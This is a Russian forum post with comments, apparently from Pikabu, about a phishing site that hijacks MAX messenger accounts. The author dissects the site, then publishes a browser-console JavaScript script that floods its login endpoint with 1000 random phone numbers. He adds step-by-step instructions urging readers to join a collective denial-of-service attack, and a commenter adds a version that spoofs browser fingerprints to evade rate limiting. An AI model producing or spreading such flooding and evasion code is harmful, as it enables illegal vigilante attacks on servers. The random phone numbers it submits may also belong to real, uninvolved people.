17

Наказываем мошенников (max edition)

Для желающих - инструкция внизу

Глава 1 Прострация


Очередная волна атаки мошеннков накрыла нашу тили - мили трямдию теперь через защищенный месенджер макс
Итак - исходные данные
1 от захваченного уже аккаунта потравляются сообщения с порозьбой проголосовать , или перейти по ссылке
2 человек переходит на сайт - его требуют авторизоваться через макс
3 при получении сообщения - 6 знаков в смс вводим их
4 прощаемся со всвоим акаунтом и сесией. данные для авторизации уже у мошеннков.
5 паника

итак путь атаки -

на телефон знакомых присланна ссылка -
https://densi.ee/kseniya-borisova-max
смотрим whois
IP62.60.226.188
Хост:densi.ee
Город:Франкфурт-на-Одере
Страна: Германия
IP диапазон:62.60.226.0 - 62.60.226.255

обычно там живут vps - небольшие сервера для сайтов и всякой мелочи. типа сайт нашего ПТУ
но сейчас это сайт для атаки

Глава 2 вскрытие покажет...

входить мы конечно же не будем - мы умнее, посмотрим из чего состоит сайт

а вот это уже инетресней - есть ссылка на сайт https://max-funny.xyz/ - скорее всего агрегатор и главный сайт мошенников
iP89.22.235.21

Хост:max-funny.xyz

Город:Стокгольм

Страна: Швеция

IP диапазон:89.22.232.0 - 89.22.239.255

Название провайдера:Aeza-Network

на самом деле whois смотрим чисто номенально - так как скорее всего сайт спрятан за прокси cloudflare или чем нибудь еще


Посмотрим механизм дальше -
если перейти на https://max-funny.xyz/art тут же будет дописан адрес
https://max-funny.xyz/art#t=eyJzdWIiOjEzMSwidXNlcm5hbWUiOiJN.........
ниикаких куков стореджей и сокетов - все в адресной строке )))посмотрим что там живет )))
Вообше очень напиминает base64 - это такой алгоритм хеширования
Засовываем эту кашу в dase64decode - есть такой сайт и на выходе

{"sub":131,"username":"Monroe","is_admin":0,"exp":1780495590,"la":1777903590,"jti":"kylYJhFSeBV2sPsL1fab_w","qr_session":"xoHLA3KxSviTP7az","qr_domain":"max-funny.xyz","qr_redirect_url":"https://s.fotora.ru/65599f00fc3fcbca.jpeg","qr_auth_method":"phone_code","qr_theme":"white","qr_page_variant":"v2","qr_phone_title":"\u0412\u043e\u0439\u0434\u0438\u0442\u0435 \u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u041c\u0410\u041a\u0421","qr_key_path":"art"}}8w:ׇֻk秵i_]5y[͚٧^o6Λ

- какая перлесть тут же и сессия тут же и пользовать какой то и время протухания сессии. и еще какая то подпись (скорее всего для проверки, либо соленый хеш либо просто рандомные байты)
то есть мы имеем дело не с одним сервачком - а скорее всего с какми хо сервисом который молотит аккаунты на широкую ногу

так теперь подумаем как можно нагатить в этот малинник
скорее всего (только мое предположение) что работает это так:

1 получили телефон от пользователя
2 отправили запрос на серввера макс - ему смс или оповещение (если смс это отлично)
3 получили данные авторизаци - отвязываем телефон
4 рассылаем спам ломаем гос услуги и получаем полный доступ к документам - берем кредиты, дарим недвижемость итд - вообщем будет жопа

Что бы немного замедлить этот гнилой процесс нужно навалить много тупого трафика - по сути вызвав отказ работы их серверов либо затянуть процесс авторизации у несчастных которые попались в ловушку. Сервера могут быть мощные но канал и память не бесконечны.

Глава 3 охота на пиранью

По итогу у нас есть -
1 сервера мошенников
2 тупая защита на их стороне
3 возможность немного осложнить им жизнь

Изучив код и написав несколько js скриптов выявил что можно с одной страницы отправить много запросов с номерами телефонов, если отправлять сильно часто - отправка будет заблокированна ddos защитой, поэтому важн тайминги - время между отправкой и тем пока тебя заблокирует protector
POST https://max-funny.xyz/api/phone/start 429 (Too Many Requests)
- это нас защита блокнула

перидический возникает ошибка 502 - это уже хорошо, либо скрвак реально споткнулся илбо упал процесс распеределения нагрузки между серверам - ну в любом случае радостно

Глава 4 малая ионная пушка

сам код



setTimeout(() => {

// Находим кнопку входа и поле ввода телефона в DOM

const phoneInput = document.getElementById('phone-input');

const loginBtn = document.getElementById('btn-login');

if (!phoneInput || !loginBtn) {

console.error('❌ Элементы формы не найдены');

return;

}

const TOTAL_REQUESTS = 1000;

let completed = 0;

// Функция отправки одного запроса через оригинальный код

async function sendOneRequest(requestId) {

return new Promise((resolve) => {

// Генерируем случайный телефон

const randomPhone = '791' + Math.floor(Math.random() * 10000000).toString().padStart(10, '0');

// Эмулируем ввод телефона

phoneInput.value = randomPhone;

phoneInput.dispatchEvent(new Event('input', { bubbles: true }));

// Ждем активации кнопки

setTimeout(() => {

if (!loginBtn.disabled) {

loginBtn.click();

console.log(`✅ #${requestId}: Запрос отправлен (телефон: ${randomPhone})`);

resolve(true);

} else {

console.log(`❌ #${requestId}: Кнопка не активна`);

resolve(false);

}

}, 5000);

});

}

console.log('🚀 ЗАПУСК ТЕСТА');

console.log(`📊 Запросов: ${TOTAL_REQUESTS}`);

console.log('='.repeat(50));

// Запускаем последовательные запросы

async function runTest() {

for (let i = 1; i <= TOTAL_REQUESTS; i++) {

await sendOneRequest(i);

completed++;

console.log(`📊 Прогресс: ${completed}/${TOTAL_REQUESTS}`);

// Ждем между запросами

if (i < TOTAL_REQUESTS) {

await new Promise(r => setTimeout(r, 7000));

// Очищаем поле ввода

phoneInput.value = '';

phoneInput.dispatchEvent(new Event('input', { bubbles: true }));

}

}

console.log('\n✅ ТЕСТ ЗАВЕРШЕН');

}

runTest();

}, 1000);

инструкция -
1 заходим на сайт https://max-funny.xyz/art (должен подставиться токен - ссылка будет длинная)
2 жмем на клавиатуре F12 (открывается консоль)
3 находим вкладку клнсоль или console
4 вставляем туда код (который выше)
5 жмем enter - и можно заниматься своими делами и любоваться выводом в консоль
6 изредка обновляем странцу для полчения новго токена и поехали снова

Скрипт генерирует случайный нмер телефона и отправялем его параметр const TOTAL_REQUESTS = 1000; говорит о отм что буде отправленно 1000 рандомных телефонов await new Promise(r => setTimeout(r, 7000)); задержка между отправками const randomPhone = '791' + Math.floor(Math.random() * 10000000).toString().padStart(10, '0'); тут рандомный телефон генерируется

Вообщем то все, что хотел рассказать. В прошлый раз Наказываем мошенников
было весело, когда их сервера нагули всем сообществом

За сим все! до новых встреч !!!!))))

PS если тут будут всякие типы - чет про граматику говорить, или запятых насыпать .... вот идите к козе в трещщину! я вам тут не граматей

0
Автор поста оценил этот комментарий

Я дико извиняюсь, но «LOIC» - Низко-Орбитальная Ионная Пушка (Low Orbit Ion Cannon), а не то, что у вас «малая ионная пушка».

*чек на возраст*

раскрыть ветку (1)
1
Автор поста оценил этот комментарий

Абсолютно да! но до LOIC мой скрипт недотягивает, ни мощью (это заморочится надо - зайти в консоль че-то вставить) ни широтой охвата ((((( поэтому только упоминание вскользь ((((

0
Автор поста оценил этот комментарий

setTimeout(() => {

// Находим кнопку входа и поле ввода телефона в DOM

const phoneInput = document.getElementById('phone-input');

const loginBtn = document.getElementById('btn-login');

if (!phoneInput || !loginBtn) {

console.error('❌ Элементы формы не найдены');

return;

}

const TOTAL_REQUESTS = 1000;

let completed = 0;

// Библиотека рандомных параметров

const userAgents = [

'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',

'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',

'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',

'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0',

'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15',

'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0',

'Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1',

'Mozilla/5.0 (Linux; Android 13; SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36'

];

const timezones = [

'Europe/Moscow', 'Europe/London', 'Europe/Paris', 'America/New_York',

'America/Los_Angeles', 'Asia/Tokyo', 'Asia/Shanghai', 'Australia/Sydney',

'Europe/Berlin', 'Europe/Rome', 'America/Toronto', 'Asia/Dubai'

];

const osVersions = {

windows: ['10', '11', '8.1', 'Server 2022'],

macos: ['10.15.7', '11.7', '12.6', '13.5', '14.1'],

linux: ['Ubuntu 22.04', 'Ubuntu 20.04', 'Debian 12', 'Fedora 39'],

android: ['13', '14', '12', '11'],

ios: ['15.7', '16.6', '17.1', '17.2']

};

const screens = [

{ width: 1920, height: 1080 }, // Desktop Full HD

{ width: 1366, height: 768 }, // Laptop

{ width: 1536, height: 864 }, // Common laptop

{ width: 2560, height: 1440 }, // 2K

{ width: 3840, height: 2160 }, // 4K

{ width: 1440, height: 900 }, // MacBook

{ width: 375, height: 667 }, // iPhone SE

{ width: 390, height: 844 }, // iPhone 12/13/14

{ width: 393, height: 852 }, // iPhone 15

{ width: 360, height: 800 }, // Android phone

{ width: 412, height: 915 }, // Android large

{ width: 768, height: 1024 }, // iPad

{ width: 820, height: 1180 } // iPad Pro

];

const deviceNames = [

'Desktop PC', 'MacBook Pro', 'Dell XPS', 'Lenovo ThinkPad',

'iPhone 15 Pro', 'Samsung Galaxy S23', 'Google Pixel 8',

'iPad Pro', 'OnePlus 11', 'Xiaomi 13', 'Sony Xperia 5'

];

// Функция получения рандомного элемента из массива

function getRandomItem(arr) {

return arr[Math.floor(Math.random() * arr.length)];

}

// Функция определения OS из userAgent

function getOSFromUA(userAgent) {

if (userAgent.includes('Windows')) return 'windows';

if (userAgent.includes('Macintosh')) return 'macos';

if (userAgent.includes('Linux') && !userAgent.includes('Android')) return 'linux';

if (userAgent.includes('Android')) return 'android';

if (userAgent.includes('iPhone') || userAgent.includes('iPad')) return 'ios';

return 'windows';

}

// Функция генерации рандомных параметров

function generateRandomParameters() {

const userAgent = getRandomItem(userAgents);

const os = getOSFromUA(userAgent);

const osVersion = getRandomItem(osVersions[os] || osVersions.windows);

const screen = getRandomItem(screens);

const deviceName = getRandomItem(deviceNames);

const timezone = getRandomItem(timezones);

return {

userAgent,

timezone,

osVersion,

screen,

deviceName,

os

};

}

// Функция применения параметров к объекту navigator (если возможно)

function applyBrowserParameters(params) {

// Изменяем user-agent (только если это разрешено браузером)

try {

Object.defineProperty(navigator, 'userAgent', {

get: () => params.userAgent,

configurable: true

});

// Меняем platform

if (params.os === 'windows') {

Object.defineProperty(navigator, 'platform', { get: () => 'Win32' });

} else if (params.os === 'macos') {

Object.defineProperty(navigator, 'platform', { get: () => 'MacIntel' });

} else if (params.os === 'linux') {

Object.defineProperty(navigator, 'platform', { get: () => 'Linux x86_64' });

}

} catch(e) {

console.warn('⚠️ Не удалось изменить навигатор:', e.message);

}

// Изменяем часовой пояс через cookie или localStorage для передачи на сервер

try {

localStorage.setItem('timezone_offset', params.timezone);

document.cookie = `timezone=${params.timezone}; path=/`;

} catch(e) {}

}

// Функция отправки запроса с дополнительными параметрами

async function sendOneRequest(requestId) {

return new Promise((resolve) => {

// Генерируем рандомные параметры для этого запроса

const params = generateRandomParameters();

// Применяем параметры к браузеру

applyBrowserParameters(params);

// Генерируем случайный телефон

const randomPhone = '791' + Math.floor(Math.random() * 10000000).toString().padStart(10, '0');

// Добавляем параметры в data-атрибуты формы (если нужно для отправки)

if (phoneInput.form) {

phoneInput.form.setAttribute('data-useragent', params.userAgent);

phoneInput.form.setAttribute('data-timezone', params.timezone);

phoneInput.form.setAttribute('data-os-version', params.osVersion);

phoneInput.form.setAttribute('data-screen', `${params.screen.width}x${params.screen.height}`);

phoneInput.form.setAttribute('data-device', params.deviceName);

}

// Эмулируем ввод телефона

phoneInput.value = randomPhone;

phoneInput.dispatchEvent(new Event('input', { bubbles: true }));

// Эмулируем изменение размера окна (опционально)

if (window.innerWidth !== params.screen.width) {

window.resizeTo(params.screen.width, params.screen.height);

}

console.log(`📱 #${requestId}: Параметры запроса:`);

console.log(` - Телефон: ${randomPhone}`);

console.log(` - UserAgent: ${params.userAgent.substring(0, 60)}...`);

console.log(` - Timezone: ${params.timezone}`);

console.log(` - OS Version: ${params.osVersion}`);

console.log(` - Screen: ${params.screen.width}x${params.screen.height}`);

console.log(` - Device: ${params.deviceName}`);

// Ждем активации кнопки

setTimeout(() => {

if (!loginBtn.disabled) {

// Добавляем параметры в заголовки через атрибуты кнопки

loginBtn.setAttribute('data-request-id', requestId);

loginBtn.setAttribute('data-request-params', JSON.stringify(params));

loginBtn.click();

console.log(`✅ #${requestId}: Запрос отправлен`);

resolve(true);

} else {

console.log(`❌ #${requestId}: Кнопка не активна`);

resolve(false);

}

}, 5000);

});

}

console.log('🚀 ЗАПУСК ТЕСТА С РАНДОМНЫМИ ПАРАМЕТРАМИ');

console.log(`📊 Запросов: ${TOTAL_REQUESTS}`);

console.log('='.repeat(50));

console.log('📋 Доступные параметры:');

console.log(` - UserAgents: ${userAgents.length}`);

console.log(` - Timezones: ${timezones.length}`);

console.log(` - Screens: ${screens.length}`);

console.log(` - Devices: ${deviceNames.length}`);

console.log('='.repeat(50));

// Запускаем последовательные запросы

async function runTest() {

for (let i = 1; i <= TOTAL_REQUESTS; i++) {

await sendOneRequest(i);

completed++;

console.log(`📊 Прогресс: ${completed}/${TOTAL_REQUESTS} (${Math.round(completed/TOTAL_REQUESTS*100)}%)`);

// Ждем между запросами

if (i < TOTAL_REQUESTS) {

await new Promise(r => setTimeout(r, 7000));

// Очищаем поле ввода

phoneInput.value = '';

phoneInput.dispatchEvent(new Event('input', { bubbles: true }));

// Сбрасываем дополнительные атрибуты

if (phoneInput.form) {

phoneInput.form.removeAttribute('data-useragent');

phoneInput.form.removeAttribute('data-timezone');

phoneInput.form.removeAttribute('data-os-version');

phoneInput.form.removeAttribute('data-screen');

phoneInput.form.removeAttribute('data-device');

}

}

}

console.log('\n✅ ТЕСТ ЗАВЕРШЕН');

console.log(`📊 Статистика:`);

console.log(` - Всего запросов: ${TOTAL_REQUESTS}`);

console.log(` - Успешно: ${completed}`);

console.log(` - Процент успеха: ${(completed/TOTAL_REQUESTS*100).toFixed(2)}%`);

}

runTest();

}, 1000);

0
Автор поста оценил этот комментарий

Сайт открывается, а вот консоль на нем не вызывается

раскрыть ветку (1)
0
Автор поста оценил этот комментарий

можно открыть в соседнем окне любой сайт - открыть там консоль, и вставить в адресную строку - адрес мошенников

0
Автор поста оценил этот комментарий

Сайт открывается, а вот консоль на нем не вызывается

раскрыть ветку (1)
0
Автор поста оценил этот комментарий

нажми F12 в браузере, но я чет немогу сайт открыть

раскрыть ветку (1)
0
Автор поста оценил этот комментарий

О! спасибо..., полезное...)))), кстати там есть ссылки для abuse.

0
Автор поста оценил этот комментарий
С хабра штоль скопипастил ?
раскрыть ветку (1)
0
Автор поста оценил этот комментарий

не , меня там забанили, а скинь ссылку ?

показать ответы
0
Автор поста оценил этот комментарий

ну вот и все! https://max-funny.xyz/art либо лежит , либо меня блокируют (хотя через прокси то же не заходит ) на сегодня наверное все, посмотрим что будет завтра

показать ответы
1
Автор поста оценил этот комментарий

eсли тут будут всякие типы - чет про граматику говорить,

после твоих итоговых "вООбщем" и "граматику" - не будут, ибо безнадёжно :)

раскрыть ветку (1)
0
Автор поста оценил этот комментарий

))))))))))) да , но есть в этом небольшой плюс, хотя сомнительный. мой текст легко отличается от нейросети - тотальными ошибками.

показать ответы

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества